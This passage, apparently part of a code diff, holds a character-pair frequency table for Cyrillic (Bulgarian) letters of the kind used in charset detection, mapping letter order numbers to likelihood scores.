24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 1, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 57: { # 'Щ' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 1, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 1, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 1, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 61: { # 'Ъ' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 0, # 'Е' + 55: 1, # 'Ж' + 47: 1, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 2, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 0, # 'О' + 30: 1, # 'П' + 39: 2, # 'Р' + 28: 1, # 'С' + 34: 1, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 1, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 0, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 0, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 1, # 'л' + 14: 0, # 'м' + 6: 1, # 'н' + 4: 0, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 60: { # 'Ю' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 1, # 'Б' + 35: 0, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 0, # 'Е' + 55: 1, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 1, # 'Р' + 28: 1, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 1, # 'б' + 9: 1, # 'в' + 20: 2, # 'г' + 11: 1, # 'д' + 3: 0, # 'е' + 23: 2, # 'ж' + 15: 1, # 'з' + 2: 1, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 0, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 1, # 'с' + 5: 1, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 56: { # 'Я' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 1, # 'С' + 34: 2, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 1, # 'б' + 9: 1, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 0, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 1, # 'и' + 26: 1, # 'й' + 12: 1, # 'к' + 10: 1, # 'л' + 14: 2, # 'м' + 6: 2, # 'н' + 4: 0, # 'о' + 13: 2, # 'п' + 7: 1, # 'р' + 8: 1, # 'с' + 5: 1, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 1: { # 'а' + 63: 1, # 'e' + 45: 1, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 1, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 3, # 'з' + 2: 3, # 'и' + 26: 3, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 2, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 3, # 'ф' + 25: 3, # 'х' + 22: 3, # 'ц' + 21: 3, # 'ч' + 27: 3, # 'ш' + 24: 3, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 18: { # 'б' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 3, # 'в' + 20: 1, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 3, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 1, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 0, # 'т' + 19: 3, # 'у' + 29: 0, # 'ф' + 25: 2, # 'х' + 22: 1, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 3, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 9: { # 'в' + 63: 1, # 'e' + 45: 1, # '\xad' + 31: 0, # 'А' + 32: 1, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 0, # 'в' + 20: 2, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 3, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 2, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 3, # 'ч' + 27: 2, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 20: { # 'г' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 3, # 'л' + 14: 1, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 1, # 'п' + 7: 3, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 3, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 11: { # 'д' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 2, # 'б' + 9: 3, # 'в' + 20: 2, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 2, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 1, # 'т' + 19: 3, # 'у' + 29: 1, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 3: { # 'е' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 2, # 'е' + 23: 3, # 'ж' + 15: 3, # 'з' + 2: 2, # 'и' + 26: 3, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 2, # 'у' + 29: 3, # 'ф' + 25: 3, # 'х' + 22: 3, # 'ц' + 21: 3, # 'ч' + 27: 3, # 'ш' + 24: 3, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 23: { # 'ж' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 2, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 3, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 1, # 'с' + 5: 1, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 1, # 'ц' + 21: 1, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 15: { # 'з' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 1, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 2, # 'ш' + 24: 1, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 2: { # 'и' + 63: 1, # 'e' + 45: 1, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 1, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 1, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 3, # 'з' + 2: 3, # 'и' + 26: 3, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 2, # 'у' + 29: 3, # 'ф' + 25: 3, # 'х' + 22: 3, # 'ц' + 21: 3, # 'ч' + 27: 3, # 'ш' + 24: 3, # 'щ' + 17: 2, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 26: { # 'й' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 1, # 'а' + 18: 2, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 2, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 2, # 'з' + 2: 1, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 2, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 2, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 1, # 'у' + 29: 2, # 'ф' + 25: 1, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 12: { # 'к' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 3, # 'в' + 20: 2, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 2, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 3, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 1, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 3, # 'ц' + 21: 2, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 10: { # 'л' + 63: 1, # 'e' + 45: 1, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 1, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 2, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 1, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 2, # 'п' + 7: 2, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 2, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 2, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 2, # 'ь' + 42: 3, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 14: { # 'м' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 2, # 'к' + 10: 3, # 'л' + 14: 1, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 1, # 'т' + 19: 3, # 'у' + 29: 2, # 'ф' + 25: 1, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 2, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 6: { # 'н' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 1, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 2, # 'б' + 9: 2, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 2, # 'ж' + 15: 2, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 1, # 'п' + 7: 2, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 3, # 'ф' + 25: 2, # 'х' + 22: 3, # 'ц' + 21: 3, # 'ч' + 27: 2, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 2, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 4: { # 'о' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 